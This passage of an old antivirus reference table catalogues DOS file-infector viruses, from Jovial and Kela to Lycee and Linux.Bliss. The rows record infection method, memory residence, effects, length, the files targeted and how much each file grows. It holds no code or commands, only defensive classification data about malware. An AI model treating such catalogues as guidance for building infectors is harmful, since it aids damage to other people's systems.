¦.Hermanos ¦INT ¦KEEP¦ VH ¦2015 ¦ .C ¦ s ¦ L ¦
¦.Invader (10)¦INT ¦KEEP¦ HVS¦4096 ¦ .C.E+boot*¦CsEe ¦ C-L, E-L+p ¦
¦.Junio ¦INT ¦KEEP¦ VH ¦1500 ¦ .C.E ¦ CsEe¦ L ¦
¦.KBWin ¦INT ¦KEEP¦ Ch ¦1349 ¦ .E ¦ e ¦ L+p ¦
¦.Kylie ¦INT ¦KEEP¦ S ¦2272 ¦ CE * ¦CsEe ¦ C-L, E-L+p ¦
¦.Mabuhay.2660(3)INT ¦KEEP¦ HVS¦2660 ¦ CE * ¦ e ¦ L+p ¦
¦.Mabuhay.2695 ¦INT ¦KEEP¦ HVS¦2695 ¦ CE * ¦ e ¦ L+p ¦
¦.Skism ¦INT ¦KEEP¦ HV ¦1808 ¦ .C.E * ¦CsEe ¦ C-L+5, E-L+p ¦
¦.Subliminal ¦INT ¦KEEP¦ HV ¦1487 ¦ .C ¦ s ¦ L+9 ¦
¦.Sunday ¦INT ¦KEEP¦ HV ¦1631 ¦ .C.E * ¦CsEe ¦ C-L+5, E-L+p ¦
¦.VTech ¦INT ¦KEEP¦ HV ¦2356 ¦ .C.E * ¦CsEe ¦ C-L+(0-6), E-L+p ¦
¦.Wanderer ¦INT ¦KEEP¦ - ¦1347 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+70 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Jovial.503 ¦FIND¦ - ¦ V ¦503 ¦ .C&C ¦ e ¦ L ¦
¦Jovial.506 ¦FIND¦ - ¦ V ¦506 ¦ .C&C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Jabber.334 ¦FIND¦ - ¦ V ¦334 ¦ .C&C * ¦ e ¦ L ¦
¦Jain.1614 ¦INT ¦MCB ¦ HEr¦1614 ¦ CE * ¦ e ¦ L ¦
¦Jester.700 ¦FIND¦ - ¦ - ¦700 ¦ .C&C * ¦ e ¦ L ¦
¦Jindra.2049 ¦FIND¦ - ¦ HV ¦2049 ¦ .C+boot* ¦ e ¦ L ¦
¦Joker.1918 ¦INT ¦MCB ¦ - ¦1918 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Jolter.2197 ¦INT ¦MCB ¦ V ¦2197 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Jos.1000 ¦INT ¦MCB ¦ V ¦1000 ¦ C ¦ s ¦ L ¦
¦Jouce.1608 ¦FIND¦ - ¦ V ¦1608 ¦ .C.E * ¦ e ¦ C-L, E-L+p ¦
¦Jump.466 ¦INT ¦MCB ¦ - ¦466 ¦ C * ¦ e ¦ L ¦
¦JumpBoot ¦ - ¦ - ¦ H ¦512 ¦ sector * ¦ s,i ¦ 0, overwrite ¦
¦JuneTunes.1784 ¦INT ¦MCB ¦ S ¦1784 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Junior.224 ¦INT ¦INTB¦ - ¦224 ¦ C * ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part K
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Kaczor.4444 ¦INT ¦MCB ¦ V ¦4444 ¦ .E&E+boot*¦ e ¦ L ¦
¦Kaczor.4447 ¦INT ¦MCB ¦ V ¦4447 ¦ .E&E+boot*¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Kaka.863 ¦INT ¦MCB ¦ - ¦863 ¦ E ¦ e ¦ L+p ¦
¦Kaka.911 ¦INT ¦MCB ¦ - ¦911 ¦ E * ¦ e ¦ L+p ¦
¦Kaka.928 ¦INT ¦MCB ¦ - ¦928 ¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Kaliostro.1752 ¦INT ¦MCB ¦ Ch ¦1752 ¦ E * ¦ e ¦ L+? ¦
¦Kaliostro.2098 ¦INT ¦MCB ¦ Ch ¦2098 ¦ E * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Kate.582 ¦INT ¦MCB ¦ - ¦582 ¦ .C&C* ¦ e ¦ L ¦
¦Kate.585 ¦INT ¦MCB ¦ - ¦585 ¦ .C&C* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Kela.690 ¦INT ¦ADDR¦ V ¦690 ¦ .C ¦ e ¦ L ¦
¦Kela.823 ¦INT ¦MCB ¦ - ¦823 ¦ .C ¦ e ¦ L ¦
¦Kela.1171 ¦INT ¦MCB ¦ - ¦1171 ¦ CE ¦ e ¦ L ¦
¦Kela.1207 ¦INT ¦MCB ¦ - ¦1207 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Kela.1253 ¦INT ¦MCB ¦ - ¦1253 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Kela.1473 ¦INT ¦MCB ¦ - ¦1473 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Kela.1735 ¦INT ¦MCB ¦ - ¦1735 ¦ CE ¦ e ¦ L ¦
¦Kela.1904 ¦INT ¦MCB ¦ - ¦1904 ¦ CE ¦ e ¦ L ¦
¦Kela.2002 ¦INT ¦MCB ¦ - ¦2002 ¦ CE ¦ e ¦ L ¦
¦Kela.2007 ¦INT ¦MCB ¦ - ¦2007 ¦ CE ¦ e ¦ L ¦
¦Kela.2010 ¦INT ¦MCB ¦ H ¦2010 ¦ CE ¦ e ¦ L ¦
¦Kela.2018 ¦INT ¦MCB ¦ - ¦2018 ¦ CE ¦ e ¦ L ¦
¦Kela.2099 ¦INT ¦MCB ¦ V ¦2010 ¦ CE ¦ e ¦ L ¦
¦Kela.2122 ¦INT ¦MCB ¦ - ¦2122 ¦ CE ¦ e ¦ L ¦
¦Kela.2163 ¦INT ¦MCB ¦ - ¦2163 ¦ CE ¦ e ¦ L ++ ¦
¦Kela.2520 ¦INT ¦MCB ¦ V ¦2520 ¦ CE ¦ e ¦ L ¦
¦Kela.2530 ¦INT ¦MCB ¦ V ¦2530 ¦ CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Keybug.895 ¦INT ¦MCB ¦ Ch ¦895 ¦ .C ¦ e ¦ L+(0-36) ¦
¦Keybug.980 ¦INT ¦MCB ¦ Ch ¦980 ¦ CE ¦ e ¦ C-L, E-L+p ¦
¦Keybug.1568 ¦INT ¦MCB ¦ Ch ¦1568 ¦ CEO ¦ e ¦ L+(0-36) ¦
¦Keybug.1596 ¦INT ¦MCB ¦ Ch ¦1596 ¦ CEO ¦ e ¦ L+(0-36) ¦
¦Keybug.1720 ¦INT ¦MCB ¦ Ch ¦1720 ¦ CEO ¦ e ¦ L+(0-36) ¦
¦Keybug.2662 ¦INT ¦MCB ¦ VCh¦2662 ¦ CEO ¦ e ¦ L+(0-36) ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Keypress.935 ¦INT ¦MCB ¦ H ¦935 ¦ CE ¦ e ¦ L+p ¦
¦Keypress.1000 ¦INT ¦MCB ¦ H ¦1000 ¦ CE * ¦ e ¦ C-L+p, E-L+p+256 ¦
¦Keypress.1212 ¦INT ¦MCB ¦ V ¦1212 ¦ CE ¦ e ¦ L+10+p ¦
¦Keypress.1216(2)INT ¦MCB ¦ V ¦1216 ¦ CE ¦ e ¦ L+10+p ¦
¦Keypress.1232 ¦INT ¦MCB ¦ V ¦1232 ¦ CE ¦ e ¦ L+p ¦
¦Keypress.1250 ¦INT ¦MCB ¦ V ¦1250 ¦ CE ¦ e ¦ L+p ¦
¦Keypress.1479 ¦INT ¦MCB ¦ V ¦1479 ¦ CE ¦ e ¦ L+10+p ¦
¦Keypress.1600 ¦INT ¦MCB ¦ V ¦1600 ¦ CE ¦ e ¦ L+p ¦
¦Keypress.1728 ¦INT ¦MCB ¦ - ¦1728 ¦ CE ¦ e ¦ L+p ¦
¦Keypress.2728 ¦INT ¦MCB ¦ V ¦2728 ¦ CE+boot ¦ e ¦ L+p ¦
¦.Platon ¦INT ¦MCB ¦ Ch ¦1258 ¦ CE * ¦ e ¦ C-L+p, E-L+p+256 ¦
¦.Samsoft ¦INT ¦MCB ¦ VCh¦1232 ¦ CE * ¦ e ¦ C-L+p, E-L+p+240 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Khizhnjak.155 ¦FIND¦ - ¦ - ¦155 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.255 ¦FIND¦ - ¦ - ¦255 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.306 ¦FIND¦ - ¦ - ¦306 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.377 ¦FIND¦ - ¦ H ¦377 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.406 ¦FIND¦ - ¦ V ¦406 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.469 ¦FIND¦ - ¦ - ¦469 ¦ .C&C ¦ e ¦ L+p ¦
¦Khizhnjak.509 ¦FIND¦ - ¦ - ¦509 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.542 ¦FIND¦ - ¦ Ch ¦542 ¦ .C&C ¦ e ¦ L+p ¦
¦Khizhnjak.556 ¦FIND¦ - ¦ H ¦556 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.558 ¦FIND¦ - ¦ Ch ¦558 ¦ .C&C ¦ e ¦ L+p ¦
¦Khizhnjak.560 ¦FIND¦ - ¦ HV ¦560 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.586 ¦FIND¦ - ¦ - ¦586 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.608 ¦FIND¦ - ¦ - ¦608 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.632 ¦FIND¦ - ¦ H ¦632 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.639 ¦FIND¦ - ¦ V ¦639 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.642 ¦FIND¦ - ¦ H ¦642 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.649 ¦FIND¦ - ¦ V ¦649 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.696 ¦FIND¦ - ¦ - ¦696 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.715 ¦FIND¦ - ¦ V ¦715 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.751 ¦FIND¦ - ¦ V ¦751 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.759 ¦FIND¦ - ¦ V ¦759 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.768 ¦FIND¦ - ¦ H ¦768 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.776 ¦FIND¦ - ¦ - ¦776 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.810 ¦FIND¦ - ¦ - ¦810 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.812 ¦FIND¦ - ¦ HV ¦812 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.822 ¦FIND¦ - ¦ - ¦822 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.832 ¦FIND¦ - ¦ V ¦832 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.834 ¦FIND¦ - ¦ V ¦834 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.839 ¦FIND¦ - ¦ V ¦839 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.847 ¦FIND¦ - ¦ V ¦847 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.875 ¦FIND¦ - ¦ V ¦875 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.1101 ¦FIND¦ - ¦ V ¦1101 ¦ .C ¦ e ¦ L+p ¦
¦Khizhnjak.1112 ¦FIND¦ - ¦ V ¦1112 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.1134 ¦FIND¦ - ¦ V ¦1134 ¦ .C * ¦ e ¦ L+p ¦
¦Khizhnjak.1912 ¦FIND¦ - ¦ VEr¦1912 ¦ .C.E* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦KingSize.493 ¦FIND¦ - ¦ - ¦493 ¦ .C ¦ e ¦ L ¦
¦KingSize.823 ¦FIND¦ - ¦ - ¦823 ¦ .C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Kiwi.512 ¦INT ¦MCB ¦ - ¦512 ¦ E * ¦ e ¦ L ¦
¦Kiwi.550 ¦INT ¦MCB ¦ - ¦550 ¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Kkv.923 ¦INT ¦MCB ¦ - ¦923 ¦ .E * ¦ s ¦ L, companion ¦
¦Kkv.1074 ¦INT ¦MCB ¦ - ¦1074 ¦ .E * ¦ s ¦ L, companion ¦
¦Kkv.1077 ¦INT ¦MCB ¦ - ¦1077 ¦ .E * ¦ s ¦ L, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Kohntark.268 ¦FIND¦ - ¦ - ¦268 ¦ .E * ¦ s ¦ L, companion ¦
¦.Kali.641 (2)¦FIND¦ - ¦ V ¦641 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Kaos.697 ¦FIND¦ - ¦ - ¦697 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Kuku.448 ¦FIND¦ - ¦ HV ¦448 ¦ .C * ¦ s ¦ L ¦
¦Kuku.886 ¦FIND¦ - ¦ V ¦886 ¦ .C.E* ¦ e ¦ C-L+p, E-L+6+p ¦
¦Kuku.1111 ¦FIND¦ - ¦ VS ¦1111 ¦ .C.E* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Kvartirus.1499 ¦INT ¦MCB ¦ S ¦1499 ¦ C * ¦ e ¦ L ¦
¦Kvartirus.2000(2INT ¦MCB ¦ S ¦2000 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Kvs.836 ¦INT ¦MCB ¦ - ¦836 ¦ CE * ¦ s ¦ L ¦
¦Kvs.1942 ¦INT ¦KEEP¦ V ¦1942 ¦ CE * ¦CsEe ¦ C-L, E-L+p ¦
¦Kvs.Crusade ¦INT ¦MCB ¦ V ¦3072 ¦ CE+boot*¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦KaaBum.1500 ¦INT ¦KEEP¦ HV ¦1500 ¦ C * ¦ e ¦ L ¦
¦Kadavr.506 ¦INT ¦MCB ¦ - ¦506 ¦ E * ¦ e ¦ L+p+? ¦
¦Kak.391 ¦FIND¦ - ¦ V ¦391 ¦ .C * ¦ e ¦ L ¦
¦Kampana.3429 ¦INT ¦MCB ¦ H ¦3429 ¦ CE+boot ¦ e ¦ L+p ¦
¦Karina.850 ¦FIND¦ - ¦ V ¦850 ¦ .C&C* ¦ e ¦ L+p ¦
¦Karnavali.1972 ¦INT ¦MCB ¦ V ¦1972 ¦ E+boot* ¦ e ¦ L+p ¦
¦Karol.1000 ¦INT ¦MCB ¦ - ¦1000 ¦ E * ¦ e ¦ L ¦
¦Katya.732 ¦FIND¦ - ¦ V ¦732 ¦ .C&C* ¦ e ¦ L ¦
¦Kavaklar.743 ¦INT ¦MCB ¦ - ¦743 ¦ CE * ¦ e ¦ L ¦
¦KeyOff.400 ¦INT ¦MCB ¦ - ¦400 ¦ .C * ¦ s ¦ L ¦
¦KgkSoft.1020 ¦INT ¦MCB ¦ V ¦1020 ¦ CE * ¦CsEe ¦ L ¦
¦Khmir.1800 ¦INFI¦MCB ¦ - ¦1800 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Ki.962 ¦INT ¦MCB ¦ - ¦962 ¦ C ¦ s ¦ L, insert ¦
¦Kill.578 ¦FIND¦ - ¦ - ¦578 ¦ .E * ¦ e ¦ L+p ¦
¦Killer.964 ¦INT ¦MCB ¦ H ¦964 ¦ .C ¦ s ¦ L ¦
¦Kipa.1084 ¦INT ¦MCB ¦ - ¦1084 ¦ CE * ¦ e ¦ L+p ¦
¦Kit.2384 ¦INT ¦MCB ¦ Ch ¦2384 ¦ CE * ¦ CsEe¦ C-L, E-L+(0-80)+p¦
¦Kitiara.288 ¦INT ¦KEEP¦ HV ¦288 ¦ CE ¦ s ¦ 0, overwrite ¦
¦Kkyyzz.1413 ¦INT ¦MCB ¦ - ¦1413 ¦ C * ¦ e ¦ L ¦
¦Koder.1024 (2)¦INT ¦MCB ¦ H ¦1024 ¦ E ¦ e ¦ L ¦
¦Koko.1780 ¦INT ¦MCB ¦ HV ¦1780 ¦ CE * ¦ e ¦ C-L+p, E-L+512+p ¦
¦Kommuna.800 ¦FIND¦ - ¦ V ¦800 ¦ .C * ¦ e ¦ L+1 ¦
¦Kot.900 ¦INFI¦MCB ¦ V ¦900 ¦ .C&C ¦ e ¦ L ¦
¦Kpi.329 ¦FIND¦ - ¦ - ¦329 ¦ .C * ¦ e ¦ L ¦
¦Kranty.255 ¦FIND¦ - ¦ - ¦255 ¦ .C * ¦ e ¦ L ¦
¦Ksm.473 ¦FIND¦ - ¦ V ¦473 ¦ .C&C* ¦ e ¦ L ¦
¦Kudepsta.357 ¦FIND¦ - ¦ - ¦357 ¦ .C ¦ e ¦ L ¦
¦Kusumah.3968 ¦INT ¦MCB ¦ VCh¦3968 ¦ CE ¦ e ¦ C-L, E-L+301 ¦
¦Kysia.1536 ¦INFI¦MCB ¦ V ¦1536 ¦ .E&E+boot*¦ e ¦ L+p ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part L
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Later.959 ¦INT ¦MCB ¦ V ¦959 ¦ CE ¦CsEe ¦ C-L, E-L+28+p ¦
¦Later.981 ¦INT ¦MCB ¦ V ¦981 ¦ CE ¦CsEe ¦ C-L, E-L+28+p ¦
¦Later.987 ¦INT ¦MCB ¦ V ¦987 ¦ CE ¦CsEe ¦ C-L, E-L+28+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦LBrother.307 ¦INFI¦DOSD¦ - ¦307 ¦ .E ¦ s ¦ L, companion ¦
¦LBrother.393 ¦INT ¦DOSD¦ V ¦393 ¦ .E * ¦ s ¦ L, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Leech.1014 ¦INT ¦MCB ¦HVEr¦1014 ¦ .C&C * ¦ s,i ¦ L ¦
¦Leech.1024 ¦INT ¦MCB ¦HVEr¦1024 ¦ .C&C * ¦ s,i ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Leo.293 ¦FIND¦ - ¦ - ¦293 ¦ .C * ¦ e ¦ L ¦
¦Leo.3948 ¦FIND¦ - ¦ VEr¦3948 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Lesson.239 ¦FIND¦ - ¦ - ¦239 ¦COMMAND.COM¦ e ¦ L ¦
¦Lesson.240 ¦FIND¦ - ¦ - ¦240 ¦COMMAND.COM¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Leprosy.595 ¦FIND¦ - ¦ HV ¦595 ¦ .C.E ¦ s ¦ l, overwrite ¦
¦Leprosy.2218 ¦FIND¦ - ¦ HV ¦2218 ¦ .E ¦ s ¦ L, overwrite ¦
¦.BadBrains.570 ¦FIND¦ - ¦ H ¦570 ¦ .C * ¦ s ¦ L, overwrite ¦
¦.Busted.572 ¦FIND¦ - ¦ HV ¦572 ¦ .C.E * ¦ s ¦ L, overwrite ¦
¦.Hellraiser ¦FIND¦ - ¦ HV ¦1580 ¦ .E&E * ¦ s ¦ L, overwrite ¦
¦.Rythem.808 ¦FIND¦ - ¦ H ¦808 ¦ .E * ¦ s ¦ L, overwrite ¦
¦.Sandra.1356 ¦FIND¦ - ¦ H ¦1356 ¦ .C.E * ¦ s ¦ L, overwrite ¦
¦.Sandra.1809 ¦FIND¦ - ¦ H ¦1809 ¦ .C.E * ¦ s ¦ L, overwrite ¦
¦.Seneca.483 ¦FIND¦ - ¦ HV ¦483 ¦ .C.E * ¦ s ¦ L, overwrite ¦
¦.Seneca.493 ¦FIND¦ - ¦ HV ¦493 ¦ .C.E * ¦ s ¦ L, overwrite ¦
¦.Skism.1992 ¦FIND¦ - ¦ HV ¦1992 ¦ .C.E * ¦ s ¦ L, overwrite ¦
¦.Strain.666 (2)¦FIND¦ - ¦ HV ¦666 ¦ .C.E * ¦ s ¦ L, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Lewd.3526 ¦INT ¦MCB ¦ V ¦3526 ¦ E * ¦ e ¦ L+p ¦
¦Lewd.4455 ¦INT ¦MCB ¦ V ¦4455 ¦ E * ¦ e ¦ L+p ¦
¦Lewd.4456 ¦INT ¦MCB ¦ V ¦4456 ¦ E * ¦ e ¦ L+p ¦
¦Lewd.34907 ¦INT ¦MCB ¦ VCh¦34907¦ E * ¦ e ¦ L+p ¦
¦Lewd.34918 ¦INT ¦MCB ¦ VCh¦34918¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Linux - viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦Linux.Bliss ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦.17892 ¦FIND¦ - ¦ V ¦17892¦ ELF EXE * ¦ s ¦ L+38 ¦
¦Linux.Bliss ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦.18064 ¦FIND¦ - ¦ V ¦18064¦ ELF EXE * ¦ s ¦ L+38 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Lobotomy.821 ¦FIND¦ - ¦ V ¦821 ¦ .C&C * ¦ e ¦ L+p ¦
¦Lobotomy.966 ¦FIND¦ - ¦ HV ¦966 ¦ .C&C * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Locust.735 ¦INT ¦MCB ¦ChEr¦735 ¦ .C * ¦ e ¦ L ¦
¦Locust.1456 ¦FIND¦ - ¦ VEr¦1456 ¦command.com¦ i* ¦ -240 (F0h) ¦
¦Locust.2486 ¦INT ¦MCB ¦ Er ¦2486 ¦ C * ¦ e ¦ L, 0* ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Lokjaw.Firefly.¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ 1087¦INT ¦MCB ¦ HCh¦1087 ¦ .C * ¦ e ¦ L ¦
¦.Firefly.1106 ¦INT ¦MCB ¦ HCh¦1106 ¦ .C * ¦ e ¦ L ¦
¦.Zwei.808 ¦INT ¦MCB ¦ HV ¦808 ¦ E * ¦ s ¦ L, companion ¦
¦.Zwei.894 ¦INT ¦MCB ¦ HV ¦894 ¦ E * ¦ s ¦ L, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Lucy.5086 ¦INT ¦MCB ¦ Er ¦5086 ¦ CE * ¦ e ¦ L ¦
¦Lucy.5286 ¦INT ¦MCB ¦ VEr¦5286 ¦ CE * ¦ e ¦ L ¦
¦Lucy.5505 ¦INT ¦MCB ¦ VEr¦5505 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Lunch.404 ¦FIND¦ - ¦ - ¦404 ¦ .C * ¦ e ¦ L ¦
¦Lunch.783 ¦INFI¦MCB ¦ V ¦783 ¦ .C ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Lust.120 ¦FIND¦ - ¦ - ¦120 ¦ .C&C * ¦ s ¦ L ¦
¦Lust.121 ¦FIND¦ - ¦ - ¦121 ¦ .C&C * ¦ s ¦ L ¦
¦Lust.137 ¦FIND¦ - ¦ - ¦137 ¦ .C&C * ¦ s ¦ L ¦
¦Lust.191 ¦INT ¦INTB¦ Er ¦191 ¦ C * ¦ s ¦ L ¦
¦Lust.196 ¦INT ¦MCB ¦ Er ¦196 ¦ C * ¦ s ¦ L ¦
¦Lust.210 ¦FIND¦ - ¦ - ¦210 ¦ .C&C * ¦ i ¦ 0, inserting ¦
¦Lust.258 ¦INT ¦KEEP¦ - ¦258 ¦ C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Lx.1358 ¦INT ¦MCB ¦ HV ¦1358 ¦ .C&C * ¦ e ¦ L ¦
¦Lx.1996 ¦INT ¦MCB ¦ HV ¦1996 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Lycee.703 ¦INT ¦MCB ¦ - ¦703 ¦ .C.E&CE *¦ e ¦ L ¦
¦Lycee.737 ¦INT ¦MCB ¦ V ¦737 ¦ .C.E&CE *¦ e ¦ L ¦
¦Lycee.930 ¦INT ¦MCB ¦ Ch ¦930 ¦ .C.E&CE *¦ e ¦ L ¦
¦Lycee.944 ¦INT ¦MCB ¦ H ¦944 ¦ .C.E&CE *¦ e ¦ L ¦
¦Lycee.1788 (2)¦INT ¦MCB ¦ V ¦1788 ¦ CE * ¦ e ¦ L ¦
¦Lycee.1800 ¦INT ¦MCB ¦ V ¦1800 ¦ CE * ¦ e ¦ L ¦
¦Lycee.1832 ¦INT ¦MCB ¦ V ¦1832 ¦ CE * ¦ e ¦ L ¦
¦Lycee.1888 (2)¦INT ¦MCB ¦ V ¦1888 ¦ CE * ¦ e ¦ L ¦
¦Lycee.1901 ¦INT ¦MCB ¦ V ¦1901 ¦ CE * ¦ e ¦ L ¦
¦Lycee.1950 ¦INT ¦MCB ¦ VCh¦1950 ¦ CE * ¦ e ¦ L ¦
¦Lycee.1975 ¦INT ¦MCB ¦ V ¦1975 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Lame.2304 ¦INT ¦MCB ¦ V ¦2304 ¦ E * ¦ e ¦ L+p ¦
¦Lapi.768 ¦FIND¦ - ¦ HV ¦768 ¦ .C ¦ e ¦ L ¦
¦Larry.491 ¦INT ¦INTB¦ V ¦491 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Lasky.129 ¦INT ¦INTB¦ - ¦129 ¦ C * ¦ s ¦ L ¦
¦Lavi.1464 ¦INT ¦KEEP¦ H ¦1464 ¦ .C&C ¦ e ¦ L ¦
¦LeapFrog (2)¦INT ¦BUFF¦ - ¦516 ¦ .C * ¦ e ¦ L ¦
¦Legion.3274 ¦FIND¦ - ¦ V ¦3274 ¦ .C&C * ¦ i,e ¦ L+? ¦
¦Lego.1000 ¦INT ¦MCB ¦ HV ¦1000 ¦ CE * ¦ e ¦ L ¦
¦Lemena.3544 ¦INT ¦MCB ¦ V ¦3544 ¦ .E&E * ¦ e ¦ L+? ¦
¦Lemming.2247 ¦INT ¦MCB ¦ - ¦2247 ¦ CE * ¦ e ¦ L ¦
¦Lenin.943 ¦FIND¦ - ¦ VEr¦943 ¦ .E&E * ¦ e ¦ L+p ¦
¦Lev.693 ¦INT ¦MCB ¦ V ¦693 ¦ C * ¦ e ¦ L ¦
¦LG.144 ¦INT ¦MCB ¦ - ¦1024 ¦ .C.E&CE ¦ e ¦ L-890 ¦
¦Lightness.1466 ¦INT ¦MCB ¦ H ¦1466 ¦ E * ¦ e ¦ L+p ¦
¦LightNing.2366 ¦INT ¦MCB ¦ - ¦2366 ¦ .C.E&CE* ¦ e ¦ L ¦
¦LightNing.4251 ¦INT ¦MCB ¦ H ¦4251 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦LittleBoy.944 ¦INT ¦MCB ¦ V ¦944 ¦ CE * ¦ e ¦ L ¦
¦LivingDeath.3766INT ¦MCB ¦ HV ¦3766 ¦ E+boot *¦ e ¦ L ¦
¦Likeness.3551 ¦INT ¦MCB ¦ HEr¦3551 ¦ CE+boot*¦ i ¦ L ¦
¦Lizard.1967 ¦INT ¦VxD ¦ H ¦1967 ¦ E&LZD.VXD*¦ e ¦ E-L, VXD-L+5132 ¦
¦Lmd.2000 ¦FIND¦ - ¦ V ¦2000 ¦ C * ¦ s ¦ L ¦
¦Lockup.2969 ¦INT ¦KEEP¦ HV ¦2969 ¦ .C.E ¦ CsEe¦ C-L, E-L+p ¦
¦Login.2071 ¦INT ¦MCB ¦ V ¦2071 ¦ .C.E&CE* ¦ i,e ¦ L ¦
¦Lonely.1000 ¦INT ¦MCB ¦ Ch ¦1000 ¦ E * ¦ e ¦ L ¦
¦LordZer0.372 ¦INT ¦MCB ¦ - ¦372 ¦ C * ¦ e ¦ L ¦
¦Lost.596 ¦FIND¦ - ¦ - ¦596 ¦ .C&C * ¦ e ¦ L ¦
¦LoveChild.2710 ¦INT ¦MCB ¦ HV ¦2710 ¦ CE ¦ e ¦ L ¦
¦Lout.805 ¦INT ¦MCB ¦ HV ¦805 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Loz.677 ¦INT ¦MCB ¦ V ¦677 ¦ C ¦ e ¦ L ¦
